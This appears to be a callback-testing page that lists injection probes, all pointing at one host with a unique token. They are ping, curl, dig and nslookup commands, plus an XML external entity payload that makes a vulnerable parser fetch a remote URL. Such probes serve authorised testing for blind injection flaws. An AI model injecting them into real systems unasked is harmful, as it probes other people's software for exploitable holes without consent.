$ ping -c1 -p 00752aa6ec422733c37908d6641c6000 unhack.ca
 
$ curl http://unhack.ca/p/752aa6ec422733c37908d6641c60
 
$ dig 752aa6ec422733c37908d6641c60 @unhack.ca
 
$ dig 752aa6ec422733c37908d6641c60.ns.unhack.ca
 
C:\> nslookup 752aa6ec422733c37908d6641c60 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/752aa6ec422733c37908d6641c60">]>
    <foo>&xxe;</foo>
Waiting for ping...